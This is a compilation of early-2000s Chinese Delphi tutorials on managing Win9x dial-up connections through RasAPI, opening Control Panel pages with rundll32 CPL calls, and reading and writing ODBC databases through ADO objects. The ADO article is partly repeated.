    在WIN9X下，如果安装了拨号网络，则在WINDOWS系统的系统目录System下将有两个拨号网络管理程序库RasApi32.DLL和RasApi16.DLL，我们可利用其中的函数来创建、修改拨号连接，并利用指定的拨号连接进行拨号上网。

一、新建拨号连接
    当WIN9X系统中已经建立了拨号连接，则可利用现成的拨号连接。如果没有拨号连接，则需要新建一个拨号连接。RasAPI中提供了相应的函数，其函数名为RasCreatePhonebookEntryA，函数原型为：
function RasCreatePhonebookEntryA( hwnd : THandle;lpszPhonebook: pchar ) : DWORD;
stdcall; { 位于interface部分 }
function RasCreatePhonebookEntryA ; external ’Rasapi32.dll’;{ 位于implementation部分 }
    参数：
        hwnd（THandle）：新建拨号连接窗口的父窗口的句柄，可以为TForm的Handle，为NIL表；Windows桌面(DeskTop)
        lpszPhonebook（pchar）：电话本名称,在Win9X下无作用,可设为空字符串
    函数返回值：
        0表示执行成功；否则为错误．

        下面是一个新建拨号连接的例子．
{ 新建拨号连接 }
procedure TForm1.Button1Click(Sender: TObject);
var
dwResult : DWORD;
begin
//在当前窗口中新建拨号连接
dwResult := RasCreatePhonebookEntryA( handle, ’’ );
if dwResult = 0 then
memo1.lines.add(’新建拨号连接成功!’)
else
memo1.lines.add(’新建拨号连接失败!’)
end;

二、修改指定拨号连接的属性
    如果用户需要修改拨号连接的属性如电话号码、国家及区号、连接方式、服务器类型等，可以用RasAPI函数来实现，其函数名为RasEditPhonebookEntryA，函数原型为：
function RasEditPhonebookEntryA( hwnd : THandle; lpszPhonebook: pchar;
lpszEntryName: pchar ) : DWORD;stdcall; { 位于interface部分 }
function RasEditPhonebookEntryA; external ’Rasapi32.dll’;{ 位于implementation部分 }
    参数：
        hwnd（THandle）：新建拨号连接窗口的父窗口的句柄，可以为TForm的Handle，为NIL表示
Windows桌面(DeskTop)
        lpszPhonebook（pchar）：电话本名称,在Win9X下无作用,可设为空字符串
lpszEntryName:（ pchar）：要修改的拨号连接的名称，如’163’、’169’等
    函数返回值：
        0表示执行成功；否则为错误．

        下面是一个修改指定拨号连接属性的例子．
{ 修改指定拨号连接属性 }
procedure TForm1.Button2Click(Sender: TObject);
var
dwResult : DWORD;
strDialName : string;
begin
strDialName := ’163’;//拨号连接的名称设为163
//在当前窗口中指定修改拨号连接的属性
dwResult := RasEditPhonebookEntryA( handle, ’’, PChar( strDialName ) );
if dwResult = 0 then
memo1.lines.add(’修改拨号连接’ + strDialName + ’成功!’)
else
memo1.lines.add(’修改拨号连接’ + strDialName + ’失败!’)
end;

三、获取当前系统中可用的拨号连接名称
    为了让用户选择使用拨号连接进行拨号，我们需要获取系统中已建立的拨号连接的名称。在建立了拨号连接后，WIN9X将拨号连接的名称和属性写在了注册表中，我们可以从注册表中获取当前系统中可用的拨号连接名称及在Internet Explorer中设置的默认连接名称。
    在注册表的HKEY_USERS\.Default\RemoteAccess\Addresses下，列出了已经在拨号网络中建立了的拨号连接的名称及其属性设置，其中各项目的名称即为可用的拨号连接的名称；各项目的值即为各拨号连接的属性设置．我们只要读出各项目的名称即可获取当前系统中可用的拨号连接名称．
    如果在Internet Explorer中设置了默认连接名称（查看＝》Internet选项＝》连接＝》连接＝》设置＝》使用以下拨号网络连接），则在注册表的HKEY_USERS\.Default\RemoteAccess下，有一个字符串类型的键值，键值名InternetProfile，其值即为Internet Explorer中设置的默认连接名称。

        下面是一个获取当前系统中可用的拨号连接名称的例子．
{ 注意在Uses中增加Registry单元，用于操作注册表 }
{ 获取当前系统中可用的拨号连接名称 }
procedure TForm1.Button3Click(Sender: TObject);
var
registryTemp : TRegistry;
stringsTemp : TStringlist;
intIndex : integer;
begin
registryTemp := TRegistry.Create;
stringsTemp := TStringlist.Create;
with registryTemp do
begin
RootKey := HKEY_USERS;//根键设置为HKEY_USERS
//如果存在子键.Default\RemoteAccess\Addresses
if OpenKey(’.Default\RemoteAccess\Addresses’,false) then
GetValueNames( stringsTemp );//读出各项目的名称，即拨号连接名称
CloseKey;
end;
//当前系统中可用的拨号连接
memo1.lines.add( ’******************当前系统中有’+ IntToStr( stringsTemp.count )
+’个可用的拨号连接如下****************’);
for intIndex := 0 to stringsTemp.count - 1 do
memo1.lines.add( stringsTemp.strings[ intIndex ] );

//列出Internet Explorer中设置的默认连接名称
if registryTemp.OpenKey(’.Default\RemoteAccess’,false) then
memo1.lines.add( ’Internet Explorer中设置的默认连接名称为’ +
registryTemp.ReadString(’InternetProfile’) );

//释放内存
registryTemp.free;
stringsTemp.free;
end;

四、用指定的拨号连接拨号
    以上的三个工作的目的就是为了拨号上网，现在就来看看如果用指定的拨号连接拨号上网。最好的方法就是调用WIN9X的拨号网络服务了，就是运行WIN9X下的现成程序。
    在Delphi程序中可以用如下代码实现拨号上网：
    winexec(’rundll32.exe rnaui.dll,RnaDial 163’,SW_SHOWNORMAL);
    其中字符串中的最后一个参数“163”为拨号连接的名称。

    下面是一个用指定的拨号连接拨号上网的例子．
{ 用指定的拨号连接拨号上网 }
procedure TForm1.Button4Click(Sender: TObject);
var
strDialName : string;
begin
strDialName := ’163’;//拨号连接的名称设为163
memo1.lines.add( ’******************用拨号连接’+ strDialName
+’实现拨号上网****************’);
winexec( PChar(’rundll32.exe rnaui.dll,RnaDial ’ + strDialName),SW_SHOWNORMAL);
end;

以上程序在PWIN98+Delphi3.0下调试通过。


CSDN_文档中心_在Delphi程序中调用控制面板设置功能

在Delphi程序中调用控制面板设置功能
王发军

    应用程序运行时，有时需要对系统环境有特殊要求。例如，在Delphi数据库应用程序中可能需要进行BDE（Borland Database Engine）或ODBC数据源名称（DSN:Data Source Name）的设置；在网络应用程序中可能需要进行网络配置设置、Modem属性设置或用户拨号连接的帐号和密码的设置并保存在系统中；在CTI（Computer-Telephony Integration）应用程序中可能需要进行电话拨号属性的设置；在游戏程序中可能需要对多媒体或游戏控制器进行设置；等等。这时候就需要改变Windows系统的环境设置，以适应应用程序正常运行的要求。当应用程序不能自行进行环境设置时，可能需要软件用户来参与、协助完成设置。

    Win9X/NT的大多数系统设置是在控制面板中进行的。我们可以要求用户自己打开控制面板寻找相应的项目进行设置，此时要求用户对控制面板相当熟悉；也可以在程序中自动为用户打开控制面板并选择相应的项目，此时用户所做的只是进行设置。后一种方法无疑更具有友好性，更能提高用户的工作效率。

    控制面板的大多数项目设置，都对应Windows的System目录下的一个CPL文件，如“Internet”属性对应的文件为InetCpl.cpl、“多媒体”属性对应的文件为MmSys.cpl等。通过调用这些文件可以打开相应的属性设置窗口，甚至可以跳到相应的属性页如“Internet”属性的“连接”属性页，有效减少软件用户的操作步骤。

    CPL文件的调用格式为“RunDLL32.exe Shell32.dll,Control_RunDLL CPLFile.cpl,,ItemNo”（可参见注册表中HKEY_CLASSES_ROOT\cplfile\shell\cplopen\command的默认值），其中CPLFile.cpl为CPL文件，ItemNo为项目编号。在Delphi程序中，可以用WinExec或CreateProcess函数来实现CPL文件调用，从而实现对控制面板的设置项目的调用。如进行拨号连接的帐号和密码设置要调用“Internet”属性的“连接”属性页，可以用语句“WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL InetCpl.cpl,,3’,, SW_SHOWNORMAL);”；解决２０００年问题中对两位年份输入的解释要调用“区域设置”的“日期”属性页，可以用语句：“WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL Intl.cpl,,4’,, SW_SHOWNORMAL);”。
    控制面板各项目设置调用所对应的语句列表如下：

//打开控制面板
WinExec(’RunDLL.exe Shell32.DLL,Control_RunDLL’,SW_SHOWNORMAL);

//32位ODBC数据源管理器，ODBC数据源、ODBC驱动程序设置
//没有提供参数区分“用户DSN”“系统DSN”“文件DSN”“ODBC驱动程序”“跟踪”“关于”六个属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL ODBCCP32.CPL’,SW_SHOWNORMAL);

//BDE Adminstrator
//没有提供参数区分“Databases”和“Configuration”两个属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL BdeAdmin.CPL’,SW_SHOWNORMAL);

//Internet 属性，可有ItemNo参数
//“常规”属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL InetCpl.cpl,,0’, SW_SHOWNORMAL);
//“安全”属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL InetCpl.cpl,,1’, SW_SHOWNORMAL);
//“内容”属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL InetCpl.cpl,,2’, SW_SHOWNORMAL);
//“连接”属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL InetCpl.cpl,,3’, SW_SHOWNORMAL);
//“程序”属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL InetCpl.cpl,,4’, SW_SHOWNORMAL);
//“高级”属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL InetCpl.cpl,,5’, SW_SHOWNORMAL);

//电话拨号属性，没有提供参数区分“我的位置”和“电话语音驱动程序”两个属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL Telephon.cpl’, SW_SHOWNORMAL);

//电源管理设置，没有提供参数区分“电源方案”和“高级”两个属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL PowerCfg.cpl’, SW_SHOWNORMAL);

//调制解调器设置，没有提供参数区分“常规”和“诊断”两个属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL Modem.cpl’, SW_SHOWNORMAL);

//多媒体设置，可有ItemNo参数
//“音频”属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL Mmsys.cpl,,0’, SW_SHOWNORMAL);
//“视频”属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL Mmsys.cpl,,1’, SW_SHOWNORMAL);
//“MIDI”属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL Mmsys.cpl,,2’, SW_SHOWNORMAL);
//“CD音乐”属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL Mmsys.cpl,,3’, SW_SHOWNORMAL);
//“设备”属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL Mmsys.cpl,,4’, SW_SHOWNORMAL);

//辅助选项设置，可有ItemNo参数
//“键盘”属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL access.cpl,,1’,SW_SHOWNORMAL);
//“声音”属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL access.cpl,,2’, SW_SHOWNORMAL);
//“显示”属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL access.cpl,,3’, SW_SHOWNORMAL);
//“鼠标”属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL access.cpl,,4’, SW_SHOWNORMAL);
//“常规”属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL access.cpl,,5’, SW_SHOWNORMAL);

//密码设置，没有提供参数区分“更改密码”和“修改用户配置”两个属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL Password.cpl’, SW_SHOWNORMAL);

//区域设置，可有ItemNo参数
//“区域设置”属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL Intl.cpl,,0’, SW_SHOWNORMAL);
//“数字”属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL Intl.cpl,,1’, SW_SHOWNORMAL);
//“货币”属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL Intl.cpl,,2’, SW_SHOWNORMAL);
//“时间”属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL Intl.cpl,,3’, SW_SHOWNORMAL);
//“日期”属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL Intl.cpl,,4’, SW_SHOWNORMAL);

//日期/时间设置，可有ItemNo参数
//“日期和时间”属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL TimeDate.cpl,,0’, SW_SHOWNORMAL);
//“时区”属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL TimeDate.cpl,,1’, SW_SHOWNORMAL);

//鼠标设置，没有提供参数区别“按钮”、“指针”和“移动”三个属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL Main.cpl’, SW_SHOWNORMAL);

//添加/删除程序设置，可有ItemNo参数
//“安装/卸载”属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL AppWiz.cpl,,1’, SW_SHOWNORMAL);
//“Windows安装程序”属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL AppWiz.cpl,,2’, SW_SHOWNORMAL);
//“启动盘”属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL AppWiz.cpl,,3’, SW_SHOWNORMAL);

//网络设置，没有提供参数区别“配置”、“标识”和“访问控制”三个属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL NetCpl.cpl’, SW_SHOWNORMAL);

//系统设置，
//“常规”属性页， 可有ItemNo参数
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL SysDm.cpl,,0’, SW_SHOWNORMAL);
//“设备管理器”属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL SysDm.cpl,,1’, SW_SHOWNORMAL);
//“硬件配置文件”属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL SysDm.cpl,,2’, SW_SHOWNORMAL);
//“性能”属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL SysDm.cpl,,3’, SW_SHOWNORMAL);

//显示设置， 可有ItemNo参数
//“背景”属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL desk.cpl,,0’, SW_SHOWNORMAL);
//“屏幕保护程序”属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL desk.cpl,,1’, SW_SHOWNORMAL);
//“外观”属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL desk.cpl,,2’, SW_SHOWNORMAL);
//“设置”属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL desk.cpl,,3’, SW_SHOWNORMAL);

//游戏控制器设置，可有ItemNo参数
//“一般”属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL Joy.cpl,,0’, SW_SHOWNORMAL);
//“高级”属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL Joy.cpl,,1’, SW_SHOWNORMAL);

//扫描仪与数字相机设设置，没有提供参数区分“设备”和“记录设置”两个属性页
WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL StiCpl.cpl’, SW_SHOWNORMAL);

    以上程序在PWIN98+DELPHI3.0下调试通过．


CSDN_文档中心_在DELPHI程序中使用ADO对象存取ODBC

在DELPHI程序中使用ADO对象存取ODBC数

    作为一个ASP爱好者，笔者经常在ASP页面中使用ADO对象操作ODBC数据库，觉得用ASP创建Web应用系统确实是挺方便的。虽然在编程生涯中，笔者更喜欢Borland系列产品，对微软产品有点排斥，但对ASP却是例外。某天，忽然想到，ADO对象是一个标准OLE对象，如果在Delphi应用程序中能利用ADO操作数据库，应该挺不错。尤其在用DELPHI做网络数据库应用程序时，如果所在的Web站点是WINNT站点并且支持ASP页面，那就可以用ADO对象访问ODBC数据库，而不用把那么大的BDE再上载到站点上去。这样就可充分利用DELPHI和ASP的编程优势，做出更好的ISAPI/NSAPI/CGI。经过编程和测试，在Delphi中可以成功地用ADO对象存取ODBC数据库，现将本人的使用经验写出来，与大家共享，让我们多一个访问ODBC数据库的方法。

    在32位的Delphi中，可以声明一个variant变量（如AVariant），然后通过CreateOleObject创建一个OLE对象，如AVariant:=CreateOleObject (’ADODB.Connection’)可以获得一个数据库连接对象的实例，然后就可以利用该对象的方法和属性来操作ODBC数据库了。
下面简单介绍一下访问ODBC数据库所用到的ADO对象及其方法和属性。

1、数据库连接对象(ADODB. Connection)
该对象用于与ODBC数据库建立连接，所有对数据库的操作均通过该连接进行。
数据库连接对象ADODB. Connection的作用象Delphi中的TDatabase对象。
建立一个连接对象的方法为(AConnection为Variant类型变量)：
AConnection:=CreateOleObject(’A DODB.Connection’)
用于建立连接的方法为Open，使用语法为(以对象AConnection为例)：
AConnection.Open( ConnectionString, UserId, Password )
    三个参数均为字符串类型，其中UserId和Password为用户名称和用户密码，用于访问数据库使用时可以省略，因为在ConnectionString同样可以指定用户名称和用户密码。ConnectionString是用来说明ODBC数据源信息的字符串，其格式为：
’Provider=ProviderName; DSN=DSNName; DRIVER=driver; SERVER=server; DATABASE=database; UID=user; PWD=password’
其中：
Provider：数据提供者，默认状态下为MSDASQL，为微软OLEDB，通常省略；
DSN：要打开的数据库对应的OBDC系统数据源(DSN)，是可选参数；
DRIVER：要打开的数据库所用的驱动程序名称，如Access对应Microsoft Access Driver (*.mdb)，是可选参数；
SERVER：要打开的数据库所在的服务器名称，本机可用(local)，是可选参数；
DATABASE：要打开的数据库名称，是可选参数；
UID：用户名称，用来访问数据库，是可选参数；
PWD：用户密码，用来访问数据库，是可选参数。
以上参数均为可选参数，但必须提供足够的信息来描述一个系统数据源。
假如已经定义了一个ODBC的系统DSN，名称为MyDsn，那么就可用以下语句建立一个数据库连接：
AConnection.Open(’DSN=MyDsn’);
    为了防止DSN不存在或其设置被他人修改时造成应用程序运行错误，可以用ADODB.Connection 创建一个临时ODBC数据源，这样可以保证我们使用的系统DSN的参数设置是正确的。下面的语句可以创建一个临时ODBC系统DSN，对应一个ACCESS数据库，路径为C:\Inetpub\ wwwroot\ test.mdb：
AConnection.open(’Driver= {Microsoft Access Driver (*.mdb)};DBQ=C:\inetpub \wwwroot\test.mdb’)
    建立一个ADODB.Connection后，如果不需要返回操作结果(如删除，修改，更新等操作)就可以对数据库进行正常的SQL操作了，此时应用ADODB.Connection的另外一个方法Execute，使用语法为：
AConnection.Execute( strSQL );
    其中strSQL为执行操作的SQL语句，如删除操作可以为：delete from wfjcommu。用AConnection.Close关闭一个数据库连接。

2、数据集对象(ADODB. RecordSet)
如果要执行查询操作并返回查询结果，或者要更方便地操作数据表，那就需要用到数据集对象了。
数据集对象ADODB.RecordSet的作用象Delphi中的TTable或TQuery对象。
建立一个数据集对象的方法为(ARecordSet为Variant类型变量)：
ARecordSet:=CreateOleObject (’ADODB.RecordSet’)
从数据表取得数据的方法为Open方法，具体使用方法为：
ARecordSet.Open( strCommand,ActiveConnection,int CursorType,intLockType, intCommandType );
其中：
strCommand：字符串，为命令参数，可以是一个Table名称，可以是一个SQL语句，也可以是一个服务器上的存储过程(StoredProc)名称，具体需要后面的参数intCommandType来指定。
ActiveConnection：要使用的数据库连接，是一个ADODB. Connection对象。
intCursorType：长整数，数据集的Cursor类型，可选参数，请参见程序中注释。
intLockType：长整数，对数据表的加锁类型，可选参数，请参见程序中注释。
intCommandType：长整数，命令参数的类型，用来指明strCommand的作用，可以指定strCommand为命令（如SQL语句）或数据表(TTable)或储存过程(StoredProc)，可选参数，请参见程序中注释。
如执行一个SQL查询，可以采用如下语句：
ARecordSet.Open(’Select * from wfjcommu’,adOpenStatic,ad LockOptimistic,adCmdText);
其它常见属性和方法与TTable和TQuery相比较如下（具体请见ASP帮助文件）：
eof,bof: eof,bof．MoveFirst, MoveLast: First, LastMovePrevious, MoveNext: Prior, NextMove: MoveByAddNew: appendUpdate: PostClose: close
Delete加Update：delete，所有对数据表的修改均须用Update使操作有效，这与Delphi不同。
Fields[FieldNo]: Fields[FieldNo]
Fields[’FieldName’]: FieldByName(’FieldName’)

3、其他常见对象(与Delphi对应的对象)：
ADODB.Field: TField ADODB.Parameter: TPara ADODB.Error: EDBEngineError
ADODB.Command：无 ADODB.Property：无
下面来看一个应用例子：
procedure TForm1.Button1Click(Sender: TObject);
{*****************************************************
用ADO操作ODBC数据库
    本程序中，将创建一个临时的ODBC系统数据源，指向一个MsAccess数据库，然后对其中的数据表进行显示、增加、修改、删除和查询操作
注意：请在Uses语句中包含ComObj单元
*****************************************************}
const{一些常量声明，详细请参见adovbs.inc}
{---- CommandType的常量说明 ----}
adCmdUnknown = 0008;//未知,需要系统来判断,速度慢,为缺省值
adCmdText = 0001;//命令语句如SQL语句
adCmdTable = 0002;//数据表名称
adCmdStoredProc = 0004;//存储过程名称

{---- CursorType的常量说明 ----}
adOpenForwardOnly = 0;//只能由前向后单向访问,为缺省值
adOpenKeyset = 1;//可见其他用户对数据的修改,但对其它用户的增加和删除不可见
adOpenDynamic = 2;//其他用户对数据的增加修改和删除均可见
adOpenStatic = 3;//其他用户对数据的增加修改和删除均不可见

{---- LockType的常量说明 ---}
adLockReadOnly = 1;//只读,为缺省值
adLockPessimistic = 2;//在修改时,按单个记录锁定
adLockOptimistic = 3;//在修改后更新时,按单个记录锁定
adLockBatchOptimistic = 4;//在成批更新时记录锁定
var
AConnection, ARecordSet : variant;
longintTemp : integer;
strTemp : string;
intIndex : integer;
begin
{创建一个临时的ODBC数据源,指向一个MsAccess数据库,并利用此DSN建立一个数据库连接}
AConnection := CreateOleObject(’ADODB.Connection’);
AConnection.Open(’Driver={Microsoft Access Driver (*.mdb)};DBQ=C:\inetpub\wwwroot\test’);

{建立一个数据集对象,并从数据表中提取数据}
ARecordSet := CreateOleObject(’ADODB.RecordSet’);
ARecordSet.open( ’wfjcommu’,AConnection,adOpenStatic,adLockOptimistic,adCmdTable );

memo1.lines.clear;
memo1.lines.add(’********数据表原有的内容如下********’);
{显示各个域的域名}
strTemp := ’’;
for intIndex := 0 to ARecordSet.Fields.count - 1 do
strTemp := strTemp + ARecordSet.Fields[intIndex].name+’;’;
memo1.lines.add( strTemp );

{显示各个域的内容}
while not ARecordSet.eof do
begin
strTemp := ’’;
for intIndex := 0 to ARecordSet.Fields.count - 1 do
strTemp := strTemp + ARecordSet.Fields[intIndex].value+’;’;
memo1.lines.add( strTemp );
ARecordSet.MoveNext;//移到下条，Next
end;

{增加一个记录}
ARecordSet.AddNew;//增加,Append
ARecordSet.Fields[’AName’] := ’1’;//以FieldByName的方式存取
ARecordSet.Fields[’Portable’] := ’2’;
ARecordSet.Fields(2) := ’3’;//以Fields[index]的方式存取
ARecordSet.Fields(3) := ’4’;
ARecordSet.Fields(4) := ’5’;
ARecordSet.Update;//更新，Post
ARecordSet.MoveFirst;//移到首条，First
memo1.lines.add(’********增加了一条记录后的数据表的内容如下********’);
{显示各个域的内容}
while not ARecordSet.eof do
begin
strTemp := ’’;
for intIndex := 0 to ARecordSet.Fields.count - 1 do
strTemp := strTemp + ARecordSet.Fields[intIndex].value+’;’;
memo1.lines.add( strTemp );
ARecordSet.MoveNext;//移到下条，Next
end;

{修改最后一条记录}
ARecordSet.MoveLast;
ARecordSet.Fields[’AName’] := ’11’;//以FieldByName的方式存取
ARecordSet.Fields[’Portable’] := ’22’;
ARecordSet.Fields(2) := ’33’;//以Fields[index]的方式存取
ARecordSet.Fields(3) := ’44’;
ARecordSet.Fields(4) := ’55’;
ARecordSet.Update;//更新，Post
ARecordSet.MoveFirst;//移到首条，First
memo1.lines.add(’********修改了最后一条记录后的数据表的内容如下********’);
{显示各个域的内容}
while not ARecordSet.eof do
begin
strTemp := ’’;
for intIndex := 0 to ARecordSet.Fields.count - 1 do
strTemp := strTemp + ARecordSet.Fields[intIndex].value+’;’;
memo1.lines.add( strTemp );
ARecordSet.MoveNext;//移到下条，Next
end;

{删除最后一条记录}
ARecordSet.MoveLast;//移到末条，Last
ARecordSet.delete;//删除，delete
ARecordSet.Update;//更新，在Delphi不需要
ARecordSet.MoveFirst;//移到首条，First
memo1.lines.add(’********删除了最后一条记录后的数据表的内容如下********’);
{显示各个域的内容}
while not ARecordSet.eof do
begin
strTemp := ’’;
for intIndex := 0 to ARecordSet.Fields.count - 1 do
strTemp := strTemp + ARecordSet.Fields[intIndex].value+’;’;
memo1.lines.add( strTemp );
ARecordSet.MoveNext;//移到下条，Next
end;

ARecordSet.Close;{关闭数据集}

{用SQL语句进行查询,查询姓名为“张三”的记录}
{注意，在SQL语句中，字符串应该用单引号包括起来}
ARecordSet.open( ’select * from wfjcommu where AName = ’’张三’’’,
AConnection,adOpenStatic,adLockOptimistic,adCmdText );
memo1.lines.add(’********张三的内容如下********’);
memo1.lines.add( ’共有’ + IntToStr( ARecordSet.RecordCount ) + ’条匹配的记录’ );
{显示各个域的内容}
while not ARecordSet.eof do
begin
strTemp := ’’;
for intIndex := 0 to ARecordSet.Fields.count - 1 do
strTemp := strTemp + ARecordSet.Fields[intIndex].value+’;’;
memo1.lines.add( strTemp );
ARecordSet.MoveNext;//移到下条，Next
end;

{关闭数据集和数据库连接}
ARecordSet.close;
AConnection.close;
end;
    听别人说总不如自己看实际的例子来体会。在这个例子中，将演示如何利用ADO对象来对一个数据表进行查询、增加记录、修改记录和删除记录操作。具体的用法请参见程序中的注释，如果有点Delphi数据库编程经验，相信不难理解。
    在我们的例子使用的数据库为Test.MDB，其中有一个数据表为wfjcommu，有五个字段AName、Portable、Tel、BP、PostAddress，分别表示姓名、手机号、电话号码、呼机号码和通信地址。
以上程序在PWIN98+ Delphi 3.0+PWS(Personal Web Server)4.0下调试通过.

感谢访问天极网，如果您觉得该文章涉及版权问题，请看这里！

欢迎投稿 | 广告联系| 关于我们| 电子杂志| 加入我们| 隐私条款
Copyright (C) 2001 Yesky.com, All Rights Reserved
版权所有　 Yesky
如有意见请与我们联系


CSDN_文档中心_在DELPHI程序中使用ADO对象存取ODBC数据库

在DELPHI程序中使用ADO对象存取ODBC数据库
    作为一个ASP爱好者，笔者经常在ASP页面中使用ADO对象操作ODBC数据库，觉得用ASP创建Web应用系统确实是挺方便的。虽然在编程生涯中，笔者更喜欢Borland系列产品，对微软产品有点排斥，但对ASP却是例外。某天，忽然想到，ADO对象是一个标准OLE对象，如果在Delphi应用程序中能利用ADO操作数据库，应该挺不错。尤其在用DELPHI做网络数据库应用程序时，如果所在的Web站点是WINNT站点并且支持ASP页面，那就可以用ADO对象访问ODBC数据库，而不用把那么大的BDE再上载到站点上去。这样就可充分利用DELPHI和ASP的编程优势，做出更好的ISAPI/NSAPI/CGI。经过编程和测试，在Delphi中可以成功地用ADO对象存取ODBC数据库，现将本人的使用经验写出来，与大家共享，让我们多一个访问ODBC数据库的方法。

    在32位的Delphi中，可以声明一个variant变量（如AVariant），然后通过CreateOleObject创建一个OLE对象，如AVariant:=CreateOleObject ('ADODB.Connection')可以获得一个数据库连接对象的实例，然后就可以利用该对象的方法和属性来操作ODBC数据库了。
下面简单介绍一下访问ODBC数据库所用到的ADO对象及其方法和属性。
1、数据库连接对象(ADODB. Connection)
该对象用于与ODBC数据库建立连接，所有对数据库的操作均通过该连接进行。
数据库连接对象ADODB. Connection的作用象Delphi中的TDatabase对象。
建立一个连接对象的方法为(AConnection为Variant类型变量)：
AConnection:=CreateOleObject('A DODB.Connection')
用于建立连接的方法为Open，使用语法为(以对象AConnection为例)：
AConnection.Open( ConnectionString, UserId, Password )
三个参数均为字符串类型，其中UserId和Password为用户名称和用户密码，用于访问数据库使用时可以省略，因为在ConnectionString同样可以指定用户名称和用户密码。ConnectionString是用来说明ODBC数据源信息的字符串，其格式为：
'Provider=ProviderName; DSN=DSNName; DRIVER=driver; SERVER=server; DATABASE=database; UID=user; PWD=password'
其中：
Provider：数据提供者，默认状态下为MSDASQL，为微软OLEDB，通常省略；
DSN：要打开的数据库对应的OBDC系统数据源(DSN)，是可选参数；
DRIVER：要打开的数据库所用的驱动程序名称，如Access对应Microsoft Access Driver (*.mdb)，是可选参数；
SERVER：要打开的数据库所在的服务器名称，本机可用(local)，是可选参数；
DATABASE：要打开的数据库名称，是可选参数；
UID：用户名称，用来访问数据库，是可选参数；
PWD：用户密码，用来访问数据库，是可选参数。
以上参数均为可选参数，但必须提供足够的信息来描述一个系统数据源。
假如已经定义了一个ODBC的系统DSN，名称为MyDsn，那么就可用以下语句建立一个数据库连接：
AConnection.Open('DSN=MyDsn');
为了防止DSN不存在或其设置被他人修改时造成应用程序运行错误，可以用ADODB.Connection 创建一个临时ODBC数据源，这样可以保证我们使用的系统DSN的参数设置是正确的。下面的语句可以创建一个临时ODBC系统DSN，对应一个ACCESS数据库，路径为C:\Inetpub\ wwwroot\ test.mdb：
AConnection.open('Driver= {Microsoft Access Driver (*.mdb)};DBQ=C:\inetpub \wwwroot\test.mdb')
建立一个ADODB.Connection后，如果不需要返回操作结果(如删除，修改，更新等操作)就可以对数据库进行正常的SQL操作了，此时应用ADODB.Connection的另外一个方法Execute，使用语法为：
AConnection.Execute( strSQL );
其中strSQL为执行操作的SQL语句，如删除操作可以为：delete from wfjcommu。用AConnection.Close关闭一个数据库连接。
2、数据集对象(ADODB. RecordSet)
如果要执行查询操作并返回查询结果，或者要更方便地操作数据表，那就需要用到数据集对象了。
数据集对象ADODB.RecordSet的作用象Delphi中的TTable或TQuery对象。
建立一个数据集对象的方法为(ARecordSet为Variant类型变量)：
ARecordSet:=CreateOleObject ('ADODB.RecordSet')
从数据表取得数据的方法为Open方法，具体使用方法为：
ARecordSet.Open( strCommand,ActiveConnection,int CursorType,intLockType, intCommandType );
其中：
strCommand：字符串，为命令参数，可以是一个Table名称，可以是一个SQL语句，也可以是一个服务器上的存储过程(StoredProc)名称，具体需要后面的参数intCommandType来指定。
ActiveConnection：要使用的数据库连接，是一个ADODB. Connection对象。
intCursorType：长整数，数据集的Cursor类型，可选参数，请参见程序中注释。
intLockType：长整数，对数据表的加锁类型，可选参数，请参见程序中注释。
intCommandType：长整数，命令参数的类型，用来指明strCommand的作用，可以指定strCommand为命令（如SQL语句）或数据表(TTable)或储存过程(StoredProc)，可选参数，请参见程序中注释。
如执行一个SQL查询，可以采用如下语句：
ARecordSet.Open('Select * from wfjcommu',adOpenStatic,ad LockOptimistic,adCmdText);
其它常见属性和方法与TTable和TQuery相比较如下（具体请见ASP帮助文件）：
eof,bof: eof,bof．MoveFirst, MoveLast: First, LastMovePrevious, MoveNext: Prior, NextMove: MoveByAddNew: appendUpdate: PostClose: close
